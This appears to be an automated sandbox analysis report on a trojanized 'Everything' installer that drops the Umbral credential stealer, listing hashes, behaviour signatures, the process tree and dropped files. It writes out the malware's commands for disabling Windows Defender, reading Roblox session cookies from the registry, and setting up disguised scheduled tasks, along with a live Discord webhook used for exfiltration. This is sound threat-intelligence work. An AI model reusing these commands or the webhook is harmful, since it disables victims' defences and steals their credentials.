Analysis

  • max time kernel
    150s
  • max time network
    144s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20250314-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20250314-enlocale:en-usos:windows10-2004-x64system
  • submitted
    11/04/2025, 11:23

General

  • Target

    Everything-1.4.1.1026.x64-Setup2.exe

  • Size

    468KB

  • MD5

    53e560338b0fabac1c89e7baf950046d

  • SHA1

    517c82342d0e5ee0a581ff0db0e543c9cb9986a4

  • SHA256

    c9d2459c5bd3e5044d4d625f92e30bfa475e11fe259fc00c0d4961f5ebe10f3b

  • SHA512

    4216abf6d385c3f37889300dd9c8ec98215e7f8810806b2a306cd6e79747c720972b74026917ed5cc9a07e8c677aed2ad2ffc509290853eaa0ec4bc807a3843d

  • SSDEEP

    12288:hGePVle8y4TKs/u6oZtL+EP855eLcCFdW8j+ctBIX0B:oITKoI8XeLcCFdW8j+ctBIXo

Malware Config

Extracted

Family

umbral

C2

https://discord.com/api/webhooks/1360210646112665720/qXg1qF4JZ6j3Rqqts-_rZSbjGedO1RuAq7HLooe-TstGKKIib9a91A7sjYj3Xa-Dhtsc

Signatures

  • Detect Umbral payload 3 IoCs
  • Umbral

    Umbral stealer is an opensource moduler stealer written in C#.

  • Umbral family
  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Drops file in Drivers directory 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Credentials from Password Stores: Windows Credential Manager 1 TTPs

    Suspicious access to Credentials History.

  • Executes dropped EXE 2 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 4 IoCs
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Runs ping.exe 1 TTPs 1 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 39 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 38 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Everything-1.4.1.1026.x64-Setup2.exe
    "C:\Users\Admin\AppData\Local\Temp\Everything-1.4.1.1026.x64-Setup2.exe"
    1⤵
    • Checks computer location settings
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:3964
    • C:\Users\Admin\AppData\Local\Temp\Client.exe
      "C:\Users\Admin\AppData\Local\Temp\Client.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4600
      • C:\Windows\SYSTEM32\CMD.exe
        "CMD" /C SchTaSKs /CrEAte /F /sc OnLoGoN /rl HighEst /tn "Microsoft Security Essentials" /tr "C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCookies\xdwdAudacity.exe" & exit
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1932
        • C:\Windows\system32\schtasks.exe
          SchTaSKs /CrEAte /F /sc OnLoGoN /rl HighEst /tn "Microsoft Security Essentials" /tr "C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCookies\xdwdAudacity.exe"
          4⤵
          • Scheduled Task/Job: Scheduled Task
          PID:4776
      • C:\Windows\SYSTEM32\CMD.exe
        "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Adobe Photoshop Upgrade" /tr "C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCookies\xdwdAudacity.exe" /RL HIGHEST & exit
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4828
        • C:\Windows\system32\schtasks.exe
          SchTaSKs /create /f /sc minute /mo -1 /tn "Adobe Photoshop Upgrade" /tr "C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCookies\xdwdAudacity.exe" /RL HIGHEST
          4⤵
          • Scheduled Task/Job: Scheduled Task
          PID:4920
    • C:\Users\Admin\AppData\Local\Temp\Umbral.exe
      "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
      2⤵
      • Drops file in Drivers directory
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:5980
      • C:\Windows\System32\Wbem\wmic.exe
        "wmic.exe" csproduct get uuid
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:4764
      • C:\Windows\SYSTEM32\attrib.exe
        "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
        3⤵
        • Views/modifies file attributes
        PID:4660
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Umbral.exe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3576
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4360
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1012
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:5660
      • C:\Windows\System32\Wbem\wmic.exe
        "wmic.exe" os get Caption
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:4592
      • C:\Windows\System32\Wbem\wmic.exe
        "wmic.exe" computersystem get totalphysicalmemory
        3⤵
          PID:996
        • C:\Windows\System32\Wbem\wmic.exe
          "wmic.exe" csproduct get uuid
          3⤵
            PID:1044
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
            3⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            PID:4916
          • C:\Windows\System32\Wbem\wmic.exe
            "wmic" path win32_VideoController get name
            3⤵
            • Detects videocard installed
            PID:1484
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\Umbral.exe" && pause
            3⤵
            • System Network Configuration Discovery: Internet Connection Discovery
            • Suspicious use of WriteProcessMemory
            PID:2104
            • C:\Windows\system32\PING.EXE
              ping localhost
              4⤵
              • System Network Configuration Discovery: Internet Connection Discovery
              • Runs ping.exe
              PID:6060
      • C:\Windows\system32\wbem\WmiApSrv.exe
        C:\Windows\system32\wbem\WmiApSrv.exe
        1⤵
          PID:3492

        Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

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        Downloads

        • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\Umbral.exe.log

          Filesize

          1KB

          MD5

          547df619456b0e94d1b7663cf2f93ccb

          SHA1

          8807c99005eaf2cc44b0b5ec4fc6eac289bfb4e3

          SHA256

          8b7130cc966f3f78e236b4e51eb12e1c82b0bd3f0773275d619b5c545168797a

          SHA512

          01b4e32fdf6c7f2347075c8153bc75a2f32fe3cec19e1a777e263ec4f607b54e046f0e4c7c0bc22581d44cbbdbb076a63eaa50a742f381faad06c86c2b10f67f

        • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

          Filesize

          2KB

          MD5

          d85ba6ff808d9e5444a4b369f5bc2730

          SHA1

          31aa9d96590fff6981b315e0b391b575e4c0804a

          SHA256

          84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

          SHA512

          8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

          Filesize

          1KB

          MD5

          6317adf4fbc43ea2fd68861fafd57155

          SHA1

          6b87c718893c83c6eed2767e8d9cbc6443e31913

          SHA256

          c1ead17eef37b4b461cedc276504a441489e819c7f943037f2001966aeec90af

          SHA512

          17229aae8622e4bfc3caaac55684f7d4ccd3162af5919c851b1d8ac4060b6bb7b75044ecee116523d05acb55197dcb60780958f629450edef386f1e6f65f49f0

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

          Filesize

          64B

          MD5

          8a424e81b5a6078deff05e153c04a0ee

          SHA1

          bf209de0dbc1dbe7c5b5b511bd34bf447a3c049b

          SHA256

          79ce6d6caea4a9eabf8fdbb2a1c58d43fb5a3c500c2dec3fce87c160d2c6bda3

          SHA512

          aa01195e5c1d641304b08fed4a3bffc916972aa0bc20e928204cef1783f38922a03b761cf2010ccbace1ea0d2f18cda4eaeee4d8969f32fbae5f580e4e38522d

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

          Filesize

          944B

          MD5

          cbf7cc0d06a793e1a126e0317b075c1d

          SHA1

          ef887e58a1a4a61776c79fd56acdf85a91e94e4e

          SHA256

          06e90d65a0f76b00fef041aa8f70193bf2e0300d69dee11464fad7f9a9b406fc

          SHA512

          0335b8d53b0a52042ab16500e6d4af9bc0cbc9b475da5b5e22480fb5445edf5a1ffccf5fb4d8bd0390fad695d3fa737bc840711fbfbb746ae183be4ec729dfe7

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

          Filesize

          948B

          MD5

          17d8127be94d3c1b6fcc9a4ed585003e

          SHA1

          789874fcc7c778c723f3e89822d8cc8750c6c4c8

          SHA256

          ea357ad1f95863b3618d31e5b0f90495331f64de2b784d9e185b48668c937a7b

          SHA512

          bb18b6d07d82227f5cfbe3eb460df79ec892c560ad2964dcd4782aa26336ae15059843bf46a739bdd4a4daa58057f99102531a756a1cf434ce6449b3cd35a98e

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

          Filesize

          1KB

          MD5

          276798eeb29a49dc6e199768bc9c2e71

          SHA1

          5fdc8ccb897ac2df7476fbb07517aca5b7a6205b

          SHA256

          cd0a1056e8f1b6cb5cb328532239d802f4e2aa8f8fcdc0fcb487684bd68e0dcc

          SHA512

          0d34fce64bbefc57d64fa6e03ca886952263d5f24df9c1c4cce6a1e8f5a47a9a21e9820f8d38caa7f7b43a52336ce00b738ea18419aaa7c788b72e04ce19e4f2

        • C:\Users\Admin\AppData\Local\Temp\Client.exe

          Filesize

          228KB

          MD5

          9d13457fe2154ed1c7c5d080b4e89d75

          SHA1

          813a1143530624a7ebb51eb041d8ab1b1349c428

          SHA256

          4433cbb68bb1948a9093af9d3e4ca43dd9d2e8ab1eb4ef172c84a18122211dbb

          SHA512

          4665ce02912a5d27a847b91fc7dc1a1cd215febe16fa2bd9d90694a9ce45d5475255cdd0d9e2d57c00b61bbdd94ffce6e71227d04530544591043216be48341b

        • C:\Users\Admin\AppData\Local\Temp\Umbral.exe

          Filesize

          231KB

          MD5

          e4b51d29d135168fc262065999c10f6a

          SHA1

          8f7d8872ee04c47af338ea0fe8480a3e5be2d6bb

          SHA256

          72717c89182aa16055fca98ccb899f86084a888681cd5621dcdba99d08056c7c

          SHA512

          d539a85bdbd0bcaa52ed8483d124f61875eb1b28d5bd353087eee1332efd3bf948fcd672e77b06755ccb4af7c1783db87091d99f78da41f12f8187fd22927fb6

        • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_u1qgypyu.myc.ps1

          Filesize

          60B

          MD5

          d17fe0a3f47be24a6453e9ef58c94641

          SHA1

          6ab83620379fc69f80c0242105ddffd7d98d5d9d

          SHA256

          96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

          SHA512

          5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

        • memory/3576-33-0x00000256EA3F0000-0x00000256EA412000-memory.dmp

          Filesize

          136KB

        • memory/3964-24-0x0000000000400000-0x000000000047C000-memory.dmp

          Filesize

          496KB

        • memory/4600-14-0x00007FFEEDDF3000-0x00007FFEEDDF5000-memory.dmp

          Filesize

          8KB

        • memory/4600-15-0x0000000000430000-0x0000000000470000-memory.dmp

          Filesize

          256KB

        • memory/4600-150-0x0000000002450000-0x000000000245C000-memory.dmp

          Filesize

          48KB

        • memory/5980-54-0x0000023D71450000-0x0000023D714C6000-memory.dmp

          Filesize

          472KB

        • memory/5980-56-0x0000023D70A30000-0x0000023D70A4E000-memory.dmp

          Filesize

          120KB

        • memory/5980-93-0x0000023D711C0000-0x0000023D711D2000-memory.dmp

          Filesize

          72KB

        • memory/5980-92-0x0000023D70A60000-0x0000023D70A6A000-memory.dmp

          Filesize

          40KB

        • memory/5980-55-0x0000023D71170000-0x0000023D711C0000-memory.dmp

          Filesize

          320KB

        • memory/5980-111-0x00007FFEEDDF0000-0x00007FFEEE8B1000-memory.dmp

          Filesize

          10.8MB

        • memory/5980-27-0x00007FFEEDDF0000-0x00007FFEEE8B1000-memory.dmp

          Filesize

          10.8MB

        • memory/5980-26-0x00007FFEEDDF0000-0x00007FFEEE8B1000-memory.dmp

          Filesize

          10.8MB

        • memory/5980-25-0x0000023D6ECA0000-0x0000023D6ECE0000-memory.dmp

          Filesize

          256KB